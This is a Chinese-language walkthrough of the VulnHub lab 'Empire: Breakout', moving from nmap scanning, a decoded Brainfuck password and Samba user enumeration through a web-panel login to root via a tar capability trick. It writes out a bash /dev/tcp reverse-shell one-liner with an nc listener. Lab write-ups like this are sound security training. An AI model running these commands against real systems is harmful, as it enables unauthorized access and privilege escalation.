一:环境
1.攻击机:kali
IP:10.0.0.128
2.靶机:Empire: Breakout ~ VulnHubhttps://www.vulnhub.com/entry/empire-breakout,751/ IP:10.0.0.136
二:实战
1.信息收集
Nmap 10.0.0.0/24 (查看存活主机)
发现IP为10.0.0.136的目标主机,nmap -sV -p- 10.0.0.136查看版本信息
有80端口直接浏览器访问一下
http://10.0.0.136
发现就是个普通的界面,查看源码(这里要仔细查看,并且翻到底。我就是因为没翻到底没找到,看了其他师傅的才明白了)
这应该是一种编码方式,用chat搜一下发现是Brainfuck编码。找个Brainfuck在线解码工具
解码得到了这么个东西,先放着
.2uqPEfj3D<P'a-3
然后发现有10000和20000两个端口尝试访问
发现这两个端口都是登陆界面,既然是登陆界面那坑定需要账号和密码。此时整理一下目前的已知信息
1.有一个解出来的码.2uqPEfj3D<P'a-3
2.发现目标主机开启了Samba服务(SMB 协议通常用于在局域网中实现文件和打印机共享,而 Samba 则是 Linux 和其他类 Unix 系统上的一个实现,此服务支持用户枚举)
3.有登陆界面
所以,此时就能联想到账号可能需要枚举出来,密码就是解出来的码。接下来进行用户枚举
enum4linux -r 10.0.0.136
发现了一个本地用户cyber,然后去登录
发现10000端口的登陆失败,所以使用20000端口的登陆
登陆成功
当把鼠标指到最后一排第二个图标上显示的Command shell看到shell赶紧点进去看看结果发现是个命令窗口
查看当前权限
发现sudo也用不来,接下来提权。
三:root提权
在当前目录下发现了一个tar文件,且用cat查看会出现乱码。这种情况可以使用getcap查看文件的附加功能
getcap tar
chat了一下这句话
getcap
是 Linux 系统上的一个命令,用于获取文件的能力(capabilities)信息。在 Linux 中,文件能力允许进程执行一些超出普通权限的操作,而无需完全的超级用户权限。
意思就是这个文件可以执行一些超出普通用户的权限操作,先放着继续查找其他信息
最终在/var/backups目录下发现了一个.old_pass.bak看着像个密码,但是没有查看权限,此时我就想到了可以用tar进行压缩再解压,最终得到了一个密码,猜测是root密码。然后切换root用户
切换时发现会出现失败的情况,所以反弹shell。先在kali上开启一个监听端口,然后输入一句话反弹shell
nc -lvvp 7777
bash -c 'bash -i >& /dev/tcp/10.0.0.128/7777 0>&1'
反弹成功,现在切换root
提权成功,查看root下的txt
Congratulations!!!